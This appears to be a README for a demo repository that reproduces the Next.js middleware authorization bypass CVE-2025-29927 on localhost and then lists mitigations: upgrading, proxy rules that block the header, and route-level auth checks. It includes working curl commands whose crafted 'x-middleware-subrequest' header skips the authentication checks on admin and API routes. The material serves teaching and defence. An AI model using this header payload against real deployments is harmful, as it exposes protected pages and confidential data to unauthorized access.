
演示 Next.js 中的 Middleware 授權繞過漏洞 (CVE-2025-29927) 允許未經授權的用戶存取受保護的資訊。
This Repo provides example projects demonstrating the Middleware authorization bypass vulnerability in Next.js (CVE-2025-29927). This vulnerability allows unauthorized users to access protected resources.
CVE-2025-29927 is a critical security vulnerability (CVSS Score: 9.1) affecting Next.js's middleware system. Attackers can completely bypass middleware security checks by adding a specially crafted x-middleware-subrequest header to HTTP requests.
/admin) without authentication/api/confidential)npm install to install dependenciesnpm run dev to start the Next.js development serverhttp://localhost:3000 in your browser to see the current websiteNext.js uses an internal header x-middleware-subrequest to prevent infinite loops caused by recursive middleware calls. However, this header can be exploited by external requests. When a request includes this header and reaches the maximum recursion depth (MAX_RECURSION_DEPTH), Next.js completely skips middleware execution.
First, attempt normal access to a protected path:
# Access the protected admin page
curl http://localhost:3000/admin/dashboard -v
Expected Result: Will be redirected to the login page (302 redirect to /login)
# Access the protected API
curl http://localhost:3000/api/confidential -v
Expected Result: Returns a 401 Unauthorized error
Now, use the specially crafted header to bypass the middleware:
# Bypass /admin path protection
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Expected Result: Successfully access the admin page content (200 OK)
# Bypass /api/confidential protection
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Expected Result: Successfully access the API and obtain confidential information (200 OK)
You can also test using your browser's developer tools:
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboardWhen middleware receives a request containing the x-middleware-subrequest header:
Upgrade to a patched version:
If an immediate upgrade is not possible, block requests containing the x-middleware-subrequest header at the reverse proxy level (Nginx, Apache, etc.):
Nginx configuration example:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Apache configuration example:
RequestHeader unset x-middleware-subrequest
In addition to middleware, implement authentication checks in route handlers:
// In API routes, add extra authentication checks
export async function GET(request) {
// Do not rely solely on middleware; also check authentication here
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... handle request
}